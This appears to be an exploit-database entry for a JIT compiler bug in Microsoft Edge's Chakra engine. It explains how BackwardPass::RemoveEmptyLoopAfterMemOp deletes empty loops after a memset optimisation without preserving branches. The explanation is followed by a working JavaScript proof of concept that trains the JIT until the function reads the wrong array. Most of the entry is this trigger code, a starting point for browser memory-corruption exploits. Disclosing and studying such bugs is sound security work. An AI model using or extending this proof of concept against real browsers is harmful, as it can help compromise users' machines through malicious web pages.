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Microsoft Edge Chakra JIT - BackwardPass::RemoveEmptyLoopAfterMemOp Does not Insert Branches
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[Security Risk Medium
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/*
The optimizations for memory operations may leave empty loops as follows:
for (let i = 0; i < arr.length; i++) {
arr[i] = 0;
}
Becomes:
Memset(arr, 0, arr.length);
for (let i = 0; i < arr.length; i++) {
// empty!
}
These empty loops will be removed by "BackwardPass::RemoveEmptyLoopAfterMemOp". But this method just removes them without considering branches.
Here's what may happen.
A:
Memset(arr, 0, arr.length);
for (let i = 0; i < arr.length; i++) {
}
goto D; // Actually, this's a "BrGe_I4" instruction in the PoC.
C:
...
D:
...
Becomes:
A:
Memset(arr, 0, arr.length);
C:
...
D:
...
So, this may break the control flow.
PoC:
*/
function opt(a, b, always_true = true) {
a[0] = 1234;
b[0] = 0;
let arr = a;
if (always_true) {
arr = b;
for (let i = 0; i < arr.length; i++)
arr[i] = 0;
}
let val = arr[0];
if (val) {
print(val); // Must be 0, but prints out 1234
return true;
}
return false;
}
let a = new Uint32Array(1);
let b = new Uint32Array(0x1000);
for (let i = 0; i < 10000; i++) {
if (opt(a, b)) {
break;
}
}
# 0day.today [2024-11-15] #